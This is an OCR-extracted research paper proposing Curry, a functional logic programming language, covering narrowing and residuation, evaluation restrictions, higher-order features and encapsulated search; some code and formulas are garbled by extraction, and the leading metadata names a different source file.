{"Source-Url": "https://www.unicode.org/L2/L2000/00283-idn.pdf", "len_cl100k_base": 5072, "olmocr-version": "0.1.49", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 29408, "total-output-tokens": 5986, "length": "2e12", "weborganizer": {"__label__adult": 0.0003681182861328125, "__label__art_design": 0.0004489421844482422, "__label__crime_law": 0.0009431838989257812, "__label__education_jobs": 0.0007328987121582031, "__label__entertainment": 0.000202178955078125, "__label__fashion_beauty": 0.00021898746490478516, "__label__finance_business": 0.0012378692626953125, "__label__food_dining": 0.0003094673156738281, "__label__games": 0.0008935928344726562, "__label__hardware": 0.00368499755859375, "__label__health": 0.00041747093200683594, "__label__history": 0.000659942626953125, "__label__home_hobbies": 8.231401443481445e-05, "__label__industrial": 0.0006871223449707031, "__label__literature": 0.0006036758422851562, "__label__politics": 0.0006723403930664062, "__label__religion": 0.0005950927734375, "__label__science_tech": 0.303466796875, "__label__social_life": 0.00012189149856567384, "__label__software": 0.177734375, "__label__software_dev": 0.50439453125, "__label__sports_fitness": 0.00031757354736328125, "__label__transportation": 0.0007920265197753906, "__label__travel": 0.00026416778564453125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 24391, 0.0194]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 24391, 0.15403]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 24391, 0.87751]], "google_gemma-3-12b-it_contains_pii": [[0, 2164, false], [2164, 2928, null], [2928, 4814, null], [4814, 5655, null], [5655, 7008, null], [7008, 9123, null], [9123, 11475, null], [11475, 12185, null], [12185, 14127, null], [14127, 15923, null], [15923, 18473, null], [18473, 20886, null], [20886, 23005, null], [23005, 24391, null], [24391, 24391, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2164, true], [2164, 2928, null], [2928, 4814, null], [4814, 5655, null], [5655, 7008, null], [7008, 9123, null], [9123, 11475, null], [11475, 12185, null], [12185, 14127, null], [14127, 15923, null], [15923, 18473, null], [18473, 20886, null], [20886, 23005, null], [23005, 24391, null], [24391, 24391, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 24391, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 24391, null]], "pdf_page_numbers": [[0, 2164, 1], [2164, 2928, 2], [2928, 4814, 3], [4814, 5655, 4], [5655, 7008, 5], [7008, 9123, 6], [9123, 11475, 7], [11475, 12185, 8], [12185, 14127, 9], [14127, 15923, 10], [15923, 18473, 11], [18473, 20886, 12], [20886, 23005, 13], [23005, 24391, 14], [24391, 24391, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 24391, 0.02304]]}
|
olmocr_science_pdfs
|
2024-11-27
|
2024-11-27
|
b40a5c2fd64405ce48b6597e46a8af441f0fbaa6
|
Curry: A Truly Functional Logic Language
Michael Hanus Herbert Kuchen Juan José Moreno-Navarro
RWTH Aachen* Universidad Politécnica Madrid†
Abstract
Functional and logic programming are the most important declarative programming paradigms, and interest in combining them has grown over the last decade. However, integrated functional logic languages are currently not widely used. This is due to the fact that the operational principles are not well understood and many different evaluation strategies have been proposed which resulted in many different functional logic languages. To overcome this situation, we propose the functional logic language Curry which is intended to become a standard language in this area. It includes important ideas of existing functional logic languages and recent developments, and combines the most important features of functional and logic languages. Thus, Curry can be the basis to combine the currently separated research efforts of the functional and logic programming communities and to boost declarative programming in general. Moreover, since functions provide for more efficient evaluation strategies and are a declarative replacement of some impure features of Prolog (in particular, pruning operators), Curry can be also used as a declarative successor of Prolog.
1 Motivation
During the last decade, many proposals have been made to combine the most important declarative programming paradigms (see [15] for a survey). Functional logic languages offer features from functional programming (reduction of nested expressions, higher-order functions) and logic programming (logical variables, partial data structures, search for solutions). Compared to pure functional languages, functional logic languages have more expressive power due to the use of logical variables and built-in search mechanisms. Compared to pure logic languages, functional logic languages have more efficient evaluation mechanisms due to the (deterministic!) reduction of functional expressions (see [8, 13, 17] for discussions about the efficiency improvements of functional logic languages in comparison to Prolog). Thus, impure features of Prolog to restrict the search space, like the cut operator, can be avoided in functional logic languages. However, there is no obvious way to combine the search facilities of logic programming with efficient evaluation principles of functional programming. Functional approaches (i.e., (lazy) lists of successes [39]) require a directed data flow and do not allow partially instantiated data structures. Approaches which allow an arbitrary data flow have a tradeoff between completeness and efficiency (see discussion below on residuation and narrowing). As a consequence, quite different methods to integrate functional and logic languages have been proposed in the past. The most promising operational principles are residuation and narrowing.
*Informatik II, RWTH Aachen, D-52056 Aachen, Germany. {hanus,herbert}@informatik.rwth-aachen.de
†Departamento LSIS, Facultad de Informática, Boadilla del Monte, 28660 Madrid, Spain. jjmoreno@fi.upm.es
Residuation is based on the idea to delay function calls until they are ready for deterministic evaluation. The residuation principle is used, for instance, in the languages Escher [22, 23], Le Fun [2], Life [1], NUE-Prolog [32], and Oz [38]. Since the residuation principle evaluates function calls by deterministic reduction steps, nondeterministic search must be explicitly encoded by predicates [1, 2, 32] or disjunctions [37]. The residuation principle is a reasonable integration of the functional and the logic paradigm since it combines the deterministic reduction of functions with partial data structures (logical variables). Moreover, it allows concurrent computation with synchronization on logical variables. However, it has also two disadvantages. Firstly, it is incomplete, i.e., it is unable to compute solutions if arguments of functions are not sufficiently instantiated during the computation. Secondly, it is not clear whether this strategy is better than Prolog’s resolution strategy since there are examples where residuation has an infinite search space whereas the equivalent (flattened) Prolog program has a finite search space [16].
Functional logic languages with a complete operational semantics, e.g., ALF [12], Babel [28], K-Leaf [9], LPG [6], SLOG [8], are mainly based on narrowing, a combination of the reduction principle of functional languages with unification for parameter passing. Narrowing provides completeness in the sense of functional programming (normal forms are computed if they exist) as well as logic programming (solutions are computed if they exist). However, in order to compete with Prolog’s resolution strategy, sophisticated narrowing strategies are required. Innermost or eager narrowing is equivalent to Prolog’s left-to-right strategy if function calls are flattened into predicates. However, nested functional expressions allow the application of deterministic reduction steps between nondeterministic narrowing steps. Since such normalizing narrowing strategies can largely reduce the search space in comparison to pure logic programs, they form the basis of languages like ALF [12], LPG [6], or SLOG [8]. Since many modern functional languages are based on lazy evaluation, most recent work has concentrated on lazy narrowing strategies [7, 9, 26, 28, 36]. Similarly to lazy evaluation in functional languages, lazy narrowing evaluates an inner term only when its value is demanded to narrow an outer term. Thus, lazy narrowing avoids unnecessary computations of inner subterms and supports typical functional programming techniques like infinite data structures. In contrast to functional languages, a naive version of lazy narrowing may evaluate the same argument several times and may run into infinite loops (in contrast to eager narrowing!) due to the nondeterministic choice of a function’s rewrite rules. Therefore, several methods have been proposed aiming at evaluating arguments commonly demanded by all rules before the nondeterministic choice [5, 11, 24, 27]. Among these different lazy narrowing strategies, there is one, called needed narrowing [5], which is optimal w.r.t. the length of derivations and the number of computed solutions. This clearly shows the advantages of integrating functions into logic programs: by transferring results from functional programming to logic programming, we obtain better and, for particular classes of programs, optimal evaluation strategies without losing the search facilities. Defining functions is not a burden to the programmer since most predicates of application programs are functions. Moreover, the knowledge about functional dependencies can avoid useless computations (of arguments which are not needed) and increase the number of deterministic evaluation steps.
Improving the evaluation strategy is also a topic in logic programming [33]. However, most of the proposals are ad hoc ("cut") or do not exploit the full power of deterministic evaluations (Andorra model). Therefore, functional logic languages improve logic languages by avoiding impure control features. Hence, functions are a declarative notion to improve control in logic programming. Moreover, they provide for useful functional programming techniques and lead to clearer programs.
1The Andorra computation model [18] prefers the evaluation of literals where at most one clause is applicable. In case of clauses with overlapping left-hand sides, there may be several clauses applicable leading to the same result. The possible pruning of the computation space in these cases is not covered by the Andorra model.
The currently existing functional logic languages cover only particular aspects of known results in this area and modern functional and logic languages in general. Therefore, the main motivation for Curry is to provide an integrated functional logic programming language which covers all important aspects of modern functional as well as logic languages. It should combine the best ideas of existing declarative languages, including
3. ALF [12], Babel [28], and Escher [22, 23] (functional logic languages)
Curry does not subsume each of these language but combines important aspects of them in a practical and comprehensive way. In the following, we will describe the functional logic language Curry which is based on the ideas described above. In the next section we will outline the operational semantics. In Section 3 we sketch the other important features of the language.
2 Operational Semantics
As discussed in the previous section, there is no clear view about the best operational semantics of functional logic languages. Residuation allows the efficient deterministic evaluation of function calls and provides for concurrent programming techniques, whereas narrowing is the basis of a complete and, for inductively sequential programs [5], optimal evaluation strategy but requires the implementation of search features. Although search can be costly and problematic in conjunction with I/O operations, it is one of the important extensions of pure functional programming. Therefore, Curry is based on a combination of narrowing and residuation. If the user does not specify any evaluation strategy, Curry chooses a strategy which is complete in the sense of functional and logic programming:
1. If there exists a solution to a goal, this solution (or a more general one) is computed. ²
2. If an expression is reducible to some value (data term), Curry computes this value. ³
In order to satisfy these requirements, Curry applies a sophisticated lazy narrowing strategy [5, 14, 24, 27]. However, if the programmer prefers another strategy, he can annotate functions with evaluation restrictions ⁴. These evaluation restrictions specify that a function will not be evaluated until the arguments have a particular form. For instance, consider the concatenation on lists defined by ⁵
\[
\text{function append: } [\mathbf{A}] \rightarrow [\mathbf{A}] \rightarrow [\mathbf{A}]
\]
\[
\text{append [] L = L}
\]
²In order to implement Curry efficiently on sequential architectures, Curry implements search by backtracking which may cause incompleteness in the Prolog sense. However, the user is free to choose a breadth-first search strategy by particular search operators (see below).
³Ground terms based on functions defined by unconditional rewrite rules are evaluated in a fully deterministic way. However, if functions are defined by conditional rules with extra variables in conditions, some search may be necessary in order to apply such reduction rules. In this case, completeness depends on the completeness of the search strategy.
⁴Evaluation restrictions are comparable to coroutining declarations [31] in Prolog where the programmer specifies conditions under which a literal is ready for a resolution step. Moreover, they describe the strategy to evaluate different and nested arguments.
⁵The list notation is similar to Prolog. The type \([\mathbf{A}]\) denotes all lists with elements of type \(\mathbf{A}\).
append [E|R] L = [E | append R L]
Without any evaluation restrictions, Curry computes the answer L=[1,2] to the goal equation
append L [3,4] == [1,2,3,4] by narrowing. However, if the evaluation restriction
eval append 1:rigid
is added, an append call is only reduced if the first argument is not headed by a defined function
symbol and different from a logical variable, otherwise the call is delayed. Such evaluation restrictions are implicit in Le Fun [2] and Life [1], explicit in Escher [22, 23], and automatically generated in NUE-Prolog [32]. Using evaluation restrictions, the programmer can specify any evaluation strategy between lazy narrowing and residuation. In this case the programmer is responsible to ensure that solutions can be computed even with the restricted evaluation strategy. On the other hand, there are program analysis methods which provide sufficient criteria to ensure the completeness of residuation [16].
In contrast to logic programming, functional logic programs contain nested function calls. Furthermore, the evaluation of some arguments is necessary only if some other arguments are evaluated to particular values. This is demonstrated by the following definition of the less-or-equal predicate on natural numbers represented by terms built from 0 and s:
function leq: nat -> nat -> bool
leq 0 N = true
leq (s M) 0 = false
leq (s M) (s N) = leq M N
Consider a function call like (leq e1 e2). In order to apply some reduction rule, the first argument e1 must always be evaluated to head-normal form (i.e., to a term without a defined function symbol at the top). However, the second argument must be evaluated only if the first argument has the form (s e). This dependency between the first and the second argument can be expressed by the evaluation restriction
eval leq 1:(s => 2)
which specifies that the first argument is evaluated at the beginning and the second argument is
only evaluated if the first argument has the constructor s at the top. In the general case, we can also specify deeper positions in arguments and nondeterministic selection of arguments in case of overlapping rules. Thus, evaluation restrictions uses definitional trees [4] and its generalizations [17, 24] which have been shown useful to specify sophisticated evaluation strategies for functional logic programs. Moreover, they can be mixed with information to specify that rules should not be applied if there is a logical variable at some argument position. For instance, the evaluation restriction
eval leq 1:rigid(s => 2:rigid)
specifies the obvious residuation strategy for leq.
In order to support eager evaluation strategies where arguments are reduced to normal form
instead of head normal form, we also permit the annotation nf (similar to rigid). One possibility is to generate such annotations automatically by a “demandedness” analyzer. Other reasonable extensions of evaluation restrictions are cyclic patterns to specify refined evaluation strategies [27].
---
6For arguments of functional type, rigid also requires that it is not of the form F e1;...;en; i.e., a (partial) application of an unknown function.
7Naive lazy narrowing strategies may also evaluate the second argument in any case. However, as shown in [5], the consideration of dependencies between arguments is essential to obtain optimal evaluation strategies.
8In contrast to functional languages, strictness is not sufficient to safely replace lazy by (more efficient) eager evaluation in functional logic languages.
The general form of evaluation restrictions is defined in Appendix A.
3 Language Features
In this section we discuss various features of Curry.
3.1 Type System
Modern functional languages (e.g., Haskell [20], SML [25]) allow the detection of many programming errors at compile time by the use of polymorphic type systems. Similar type systems are also used in modern logic languages (e.g., Gödel [19], λProlog [30]). Curry has a polymorphic type system similar to Haskell, including type classes. Since Curry is a higher-order language, function types are written in their curried form \( \tau_1 \rightarrow \tau_2 \rightarrow \cdots \rightarrow \tau_n \rightarrow \tau \) where \( \tau \) is not a functional type. In this case, \( n \) is called the arity of the function.
Curry distinguishes between functions to construct data types, called constructors, and defined functions operating on these data types. Constructors are introduced by data type declarations like
\[
\text{datatype bool} = \text{true} \mid \text{false}\\
\text{datatype nat} = 0 \mid s \text{nat}\\
\text{datatype tree} A = \text{leaf} A \mid \text{node} (\text{tree} A) A (\text{tree} A)
\]
The extension of this type system to Haskell’s type classes is a topic for future work.
3.2 Function Declarations
Functions are defined by a type declaration of the form
\[
\text{function } f : \tau_1 \rightarrow \tau_2 \rightarrow \cdots \rightarrow \tau_n \rightarrow \tau
\]
where \( \tau_1, \ldots, \tau_n, \tau \) are polymorphic types and \( \tau \) is not a functional type, followed by conditional equations of the form
\[
f \ t_1 \ldots \ t_n = t \leftarrow C
\]
where the conditional part "\( \leftarrow C \)" can be omitted. The left-hand side consists of the function symbol applied to a sequence of \( n \) patterns (i.e. variables or (full) applications of constructors to patterns). Note that defining rules of higher-type, e.g., \( f = g \) if \( f \) and \( g \) are of type \( \text{nat} \rightarrow \text{nat} \), are excluded since this would cause a gap between the standard notion of higher-order rewriting and the corresponding equational theory [34]. Therefore, an equation \( f = g \) between functions is interpreted in Curry as syntactic sugar for the corresponding equation \( f \ X = g \ X \) on base types.
The condition \( C \) (also sometimes called a goal) is a conjunction of Boolean expressions and strict equations of the form \( \leftarrow r \). A strict equation is provable if the left- and right-hand side are reducible to unifiable constructor terms.\(^9\) Note that strict equality is the only sensible notion of equality in the presence of nonterminating functions [9, 28]. A Boolean expression is built from Boolean functions, predefined Boolean operators like "\( , \)" (and), "\( ; \)" (or) and \textit{not}[28]. \textit{not} changes \textit{true} to \textit{false} and vice versa; it is \textit{not} handled by finite failure.
In order to ensure the well-definedness and determinism of a function specified by several equations, additional non-ambiguity requirements are necessary (see [28] for details). In contrast to functional languages, we allow extra variables in the conditions, i.e., variables which do not occur
\(^9\)In the theoretical setting, a strict equation is provable only if both sides are reducible to the same ground constructor term. Since goal variables are only instantiated to constructor terms, we can delay the ground instantiation of variables by unifying both sides which permits to deal with partial data structures as in Prolog (see [10, 24] for a more detailed discussion on this subject).
in the left-hand side. These extra variables provide the power of logic programming since a search for appropriate values is necessary in order to apply a conditional rule with extra variables.
Note that Curry has no special notation for predicates since they can be defined as Boolean functions. Facts and rules are represented by the defining equations
\[ p \ t_1 \ldots t_n = \text{true} \]
\[ p \ t_1 \ldots t_n = \text{true} \leq p_1 \ s_1 \ldots s_{m_1}, \ldots, p_k \ s_{k_1} \ldots s_{k_n} \]
The functional notation of predicates provides for more deterministic evaluations than the relational form.
3.3 Higher-order Features
Curry is a higher-order language supporting the common functional programming techniques by partial function applications and lambda abstractions. For instance, the well-known map function is defined in Curry by
\[
\text{function map: } (A \to B) \to [A] \to [B] \\
\text{map } F \[] = [] \\
\text{map } F \[E|L] = [(F \ E) \mid \text{map } F \ L]
\]
However, there is an important difference to functional programming. Since Curry is also a logic language, it allows logical variables also for functional values, i.e., it is possible to evaluate the goal equation map F \[ 1 \ 2 \] \[ = \] \[ 2 \ 3 \] which has, for instance, a solution F=inc if inc is the increment function on natural numbers. There are different proposals to deal with higher-order logical variables. In general, higher-order unification is necessary to compute all solutions to such goals [30, 35]. If logical variables at function positions are quantified over all (partial applications of) defined functions instead of all lambda expressions, higher-order unification can be avoided and replaced by an enumeration of all (type-conform) function symbols [10, 40]. A third alternative is to delay the application of unknown functions until the function becomes known [2, 38]. This last alternative can be implemented by residuation using the following special apply function:
\[
\text{function applyIfKnown: } (A \to B) \to A \to B \\
\text{eval applyIfKnown 1:rigid} \\
\text{applyIfKnown } F \ A = (F \ A)
\]
Thus, Curry supports only the first and second alternative. Curry provides a restricted form of higher-order unification (since the left-hand sides of function definitions are required to be patterns, in contrast to λProlog [30]) and an annotation for function variables specifying that these variables are quantified only over all function symbols occurring in the program.
Lambda terms are a useful data structure to capture the notion of bound variables and provide a comfortable way to manipulate programs as objects [30]. Lambda terms in left-hand sides of defining rules can be used to manipulate objects with bound variables and to capture the notion of scope in the object language. The following example contains a few rules of a symbolic differentiation function where Curry's abbreviation for equations of higher-order type is used (cf. Section 3.2):
\[
\text{function diff: } (\text{real } \to \text{real}) \to \text{real } \to \text{real} \\
\text{diff } \lambda X.F = \lambda X.0 \\
\text{diff } \lambda X.X = \lambda X.1 \\
\text{diff } \lambda X.\left(\sin \left(F \ X\right)\right) = \lambda X.\left(\cos \ F \ X\right) \ast \text{diff } (\lambda Y.F \ Y) \ X
\]
In the first rule, the variable F denotes an arbitrary function which does not depend on X (otherwise, the argument must have the form λX.F(X)). Therefore, λX.F matches only lambda abstractions
where the body has no occurrence of the parameter, i.e., $\lambda x. F$ matches only constant functions. Note that higher-order unification is necessary to correctly treat bound variables.
### 3.4 Encapsulated Search
Global search, possibly implemented by backtracking, must be avoided in some situations (user-control of efficiency, concurrent computations, non-backtrackable I/O). Hence it is sometimes necessary to encapsulate search in parts of larger programs. Search can take place in Curry whenever an argument must be evaluated with a logical variable as its actual value. In this case, the computation must follow different branches with different substitutions applied to the current goal. To give the programmer control on the actions taken in this situation, Curry provides a search operator similar to that of Oz [37]. However, in Curry it is not necessary to define a function by disjunctions in order to apply the search operator. Thus, the encapsulation of search is initiated by the caller and not visible in the definition of the called functions. This has the advantage that the same function can be used for deterministic evaluation or search depending on the structure of the actual arguments (ground terms or free variables).
Since search is used to find solutions to some Boolean expression, search is always initiated by some goal containing a search variable for which a solution should be computed. Since the search variable may be bound to different solutions in different search paths, they must be abstracted. Therefore, a search goal has the form $\lambda x. g$ where $x$ is the search variable contained in the goal $g$. To describe the result of the search steps, Curry offers a predefined data type
$$\text{datatype}\ \text{searchspace}\ A = \text{failed} | \text{solved}(A \rightarrow \text{bool}) | \text{distributed} [A \rightarrow \text{bool}]$$
Intuitively, failed represents a failed search, solved $\lambda x. g$ denotes a successful search where $g$ is a satisfiable goal, and distributed $[\lambda x. g_1, \ldots, \lambda x. g_n]$ represents an intermediate search state. Distributed $[\lambda x. g_1, \ldots, \lambda x. g_n]$ can be understood as a disjunction of goals. Moreover, there is a predefined function
$$\text{function}\ \text{solve}: (A \rightarrow \text{bool}) \rightarrow \text{searchspace}\ A$$
where solve $\lambda x. g$ evaluates the goal until it is not further reducible and unsatisfiable (in this case the result is failed), it is not further reducible but satisfiable (in this case the result is solved $\lambda x. g'$ representing the simplified goal), or it can be reduced to $n$ different goals $\lambda x. g_1, \ldots, \lambda x. g_n$ by a nondeterministic narrowing step, i.e., there are at least $n$ different rules applicable to the goal (in this case the result is distributed $[\lambda x. g_1, \ldots, \lambda x. g_n]$). Thus, solve evaluates a goal at most until the first nondeterministic step occurs. In this case, it exposes an intermediate state of the search to the user, who can decide in which direction the search space should be explored further. For instance, the result of solve $\lambda L. (\text{append } L \ [\ ] \Rightarrow [0])$ is
$$\text{distributed} [\lambda L. (L==\ [\ ], [\ ]\Rightarrow[0]), \lambda L. \exists X \exists L1 (L==L1+X, X |\ \text{append } L1 \ [\ ]\Rightarrow[0])]$$
(Curry also provides existential quantifiers, see Section 3.7). To avoid conflicting variable bindings caused by distributed goals, solve requires an argument without free variables. A depth-first search strategy can be formulated as:
$$\text{function}\ \text{depthfirst}: [A \rightarrow \text{bool}] \rightarrow \text{searchspace}\ A$$
$$\text{depthfirst}\ [\ ]\ =\ \text{failed}$$
$$\text{depthfirst}\ [X|Xs] =$$
$$\begin{cases}
\text{failed} & \text{case solve X of}
\text{solved Y: solve Y}
\end{cases}$$
10The generalization to more than one search variable is straightforward by using tuples.
distributed [Z|Zs]:
case depthfirst [Z] of
solved V: solved V
failed: depthfirst (append Zs Xs)
Besides depth-first search, which computes only the leftmost solution, many other kinds of search strategies can be specified, including breadth-first search, collecting all solutions in a list, etc. A library of typical search strategies is provided, such that the casual user does not have to bother on how to implement them.
The search operators can be used in top-level goals as well as in conditions of rules. For instance, we can compute by (depthfirst (\L. (append L [1] == [0,1]))) == S a solution of this goal. If S is of the form solved G, we can bind by the application G X a global variable X to the value [0].
3.5 Monadic I/O
Curry provides a declarative model of I/O by considering I/O operations as transformations on the outside world. In order to avoid dealing with different versions of the outside world, it must be ensured that at each point of a computation only one version of the world is accessible. This ensured by using monadic I/O like in Haskell and by requiring that I/O operations are not allowed in program parts where nondeterministic search is possible. Thus, all search must be encapsulated between I/O operations. Using the evaluation restrictions, the compiler is able to detect functions where search is definitely avoided (if all evaluated positions are declared as rigid). In combination with search operators, the compiler can infer that search will not take place ensuring well-defined declarative I/O operations.
3.6 Constraints
The integration of predefined data types by the use of constraints has been shown useful in logic programming. Hence constraints are a necessary feature of any modern logic programming language. However, the combination of arbitrary constraints with sophisticated narrowing strategies is a topic for current and future research. As a consequence, the current version of Curry does not support arbitrary constraints. Curry provides disequality constraints [21] as a method to express negative information. The inclusion of other constraint systems like arithmetic constraints, finite domains, feature terms or record structures by a uniform interface is a topic for future extensions.
3.7 Implication and Quantifiers
Implication and quantifiers inside conditions are a useful feature of higher-order logic languages [29, 30] since they are a declarative alternative to some impure features of Prolog, in particular, assert and retract. Moreover, they provide scoping constructs in logic programming. Therefore, Curry supports these features. When evaluating an implication rules ≡ e, rules are added to the program while evaluating e. The value of the implication is the value of e. If the evaluation of e fails or is finished, rules are removed from the program.
The combination of quantifiers and implications provide for scoping constructs to improve the structure of larger programs. For instance, if a predicate select is only an auxiliary predicate to define the predicate perm, it should be made local to perm. This is possible by the use of quantifiers and implications:
perm([], [])
perm([E|L],[F|M]) <=
(\forall select.(\forall EvL.(select(E,[E|L],L)) \land
\forall EvF.(\forall L.(select(E,[F|L],[F|M]) <= select(E,L,M))))
=> select(F,[E|L],N), perm(N,M)
The scope of the name of the auxiliary predicate select is restricted by the quantifier \forall select inside the second clause of perm (see [29] for more examples for scoping constructs). Of course, the user is not forced to use this awkward notation since Curry offers where clauses as syntactic sugar for the previous clauses:
perm([],[])
perm([E|L],[F|M]) <= select(F,[E|L],N), perm(N,M)
where select(E,[E|L],L)
select(E,[F|L],[F|M]) <= select(E,L,M)
3.8 Modules
The design of a module system for Curry is not influenced by the functional logic features of Curry. Therefore, the current version of Curry uses a standard module system similar to ALF’s [12] or Gödel’s [19]. The extension to a more sophisticated module system like in SML [25] is a topic for future extensions.
4 Example
Let us consider an example program in order to demonstrate some features of Curry. We want to compute all homomorphisms between two abelian groups. The homomorphism condition is checked for all pairs of elements of the first group.
function hom: [nat] -> (nat->nat->nat)
-> [nat] -> (nat->nat->nat) -> (nat -> nat) -> bool
hom G1 Op1 G2 Op2 F = and [ test Op1 Op2 F X Y | X <- G1, Y <- G1]
function test: (nat->nat->nat) -> (nat->nat->nat) -> (nat -> nat)
-> nat -> nat -> bool
test Op1 Op2 F X Y = true <= Op2 (F X) (F Y) == F (Op1 X Y)
A valid query for the above program is
hom [0,1,2,3] add4 [0,1] add2 mod2
which would check, whether the remainder of the division by 2 (mod2) is a homomorphism between the groups \{\{0,1,2,3\}, add4\} and \{\{0,1\}, add2\}, where add4 and add2 are the addition modulo 4 and modulo 2, respectively. mod2, add4, and add2 as well as the conjunction and of list elements, are, among others, assumed to be predefined by appropriate rules. [ test X Y | X <- G1, Y <- G1] is a list comprehension (see e.g. [20]), and denotes the list of values test X Y where X and Y range over the elements of the first group G1.
The above goal can already be handled in “ordinary” functional (logic) languages. However, Curry allows a goal like the following, which requires (generalized) higher order unification:
hom [0,1,2,3] add4 [0,1] add2 F
Here, the variable F is bound to a homomorphism between the two groups. Thus, Curry allows to search for functions. A possible solution is F=mod2. Note that Curry also considers solutions which are composed of projections, constructor symbols and defined functions (in contrast to \lambda Prolog) (see [3] for more details).
5 Implementation
Although this paper describes only the design of Curry, we will also briefly discuss some implementation aspects. Curry combines very powerful concepts. However, Curry contains various restrictions that allow an efficient implementation by transferring known implementation techniques to Curry. The omission of defined function symbols in arguments of left-hand sides of function definitions provide for efficient evaluation strategies (see [15] for a survey of different strategies and the importance of constructor-based rules). The restriction to patterns in left-hand sides ensure that full higher-order unification is rarely used [35]. Moreover, the evaluation restrictions permit the definition of application-specific evaluation strategies. However, in this case the programmer is responsible to ensure the completeness of his strategy.
6 Conclusions
From the (informal) description of Curry in the previous sections it should be clear that Curry is a real integration of functional and logic languages since it covers most aspects of both paradigms. For functional programming, Curry provides higher-order functions, lazy evaluation and deterministic evaluation of ground expressions. Logic programming features are supported by logical variables, partial data structures and search facilities. It is interesting to note that each purely logic program can be simply mapped into a Curry program by mapping each clause \( p := p_1, \ldots, p_n \) into the equation
\[
p = \text{true} <= p_1, \ldots, p_n
\]
If the evaluation restriction of the conjunction \( \land \) is 1: \( \text{true} => 2 \), Curry’s narrowing strategy is equivalent to Prolog’s left-to-right resolution strategy. However, without any evaluation restrictions, Curry is free to choose a more sophisticated strategy which prefer deterministic evaluations in literals other than the leftmost one.
By the availability of several new features in comparison to pure logic programming, Curry avoids the following impure constructs of Prolog:
- The cut and similar pruning operators are replaced by the deterministic evaluation of functions (note that there is no direct replacement of the cut in Curry since deterministic function evaluation corresponds to “green cuts” due to the complete operational semantics of Curry).
- The call predicate is replaced by the higher-order features of Curry.
- Many applications of assert and retract can be eliminated using implications in conditions
- The I/O operations of Prolog are replaced by the declarative monadic I/O concept of functional programming
Although not every impure Prolog program can be directly mapped into a Curry program, we think that Curry is a suitable declarative alternative for most application problems written in Prolog.
The present proposal is far from its final shape. Its purpose is to stimulate the discussion on a standardized functional logic language. Many aspects have not yet been addressed and may have to be included, for instance, metaprogramming features, default rules, bounded quantification, constraints, a dedicated software environment (e.g. a debugger).
Acknowledgement
The authors would like to thank Sergio Antoy, John Lloyd, Rita Loogen, and Mario Rodríguez-Artalejo for a lot of valuable comments and suggestions on this paper.
References
A Evaluation Restrictions
The general form of evaluation restrictions is “eval f restriction” where restriction is defined by the following grammar:
\[
\text{restriction} ::= \text{position} [:\text{annotation}] \quad \% \text{ evaluate position} \\
\quad \text{restriction or restriction} \quad \% \text{ alternative argument evaluations} \\
\text{position} ::= \text{number} \\
\quad \text{number}.\text{position} \\
\text{annotation} ::= \text{rigid} [\text{restriction}^*] \quad \% \text{ proceed if position is rigid} \\
\quad \text{nf} [\text{restriction}^*] \quad \% \text{ compute normal form} \\
\quad \text{restriction}^* \quad \% \text{ proceed in any case} \\
\text{restriction} ::= c \rightarrow \text{restriction} \quad \% c \text{ is a constructor}
\]
|
{"Source-Url": "https://www.informatik.uni-kiel.de/~mh/papers/ILPS95.pdf", "len_cl100k_base": 7854, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 62962, "total-output-tokens": 10923, "length": "2e12", "weborganizer": {"__label__adult": 0.0003788471221923828, "__label__art_design": 0.00027370452880859375, "__label__crime_law": 0.00035834312438964844, "__label__education_jobs": 0.000400543212890625, "__label__entertainment": 7.230043411254883e-05, "__label__fashion_beauty": 0.00014674663543701172, "__label__finance_business": 0.0001735687255859375, "__label__food_dining": 0.0004181861877441406, "__label__games": 0.00049591064453125, "__label__hardware": 0.0005884170532226562, "__label__health": 0.0004906654357910156, "__label__history": 0.00017189979553222656, "__label__home_hobbies": 7.843971252441406e-05, "__label__industrial": 0.00038313865661621094, "__label__literature": 0.0003247261047363281, "__label__politics": 0.00029921531677246094, "__label__religion": 0.0005092620849609375, "__label__science_tech": 0.01210784912109375, "__label__social_life": 8.255243301391602e-05, "__label__software": 0.004207611083984375, "__label__software_dev": 0.97705078125, "__label__sports_fitness": 0.0002961158752441406, "__label__transportation": 0.000461578369140625, "__label__travel": 0.00016808509826660156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 42834, 0.02794]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 42834, 0.63811]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 42834, 0.85129]], "google_gemma-3-12b-it_contains_pii": [[0, 3115, false], [3115, 7721, null], [7721, 11259, null], [11259, 14825, null], [14825, 18475, null], [18475, 21980, null], [21980, 25970, null], [25970, 29154, null], [29154, 31850, null], [31850, 35169, null], [35169, 38759, null], [38759, 42066, null], [42066, 42834, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3115, true], [3115, 7721, null], [7721, 11259, null], [11259, 14825, null], [14825, 18475, null], [18475, 21980, null], [21980, 25970, null], [25970, 29154, null], [29154, 31850, null], [31850, 35169, 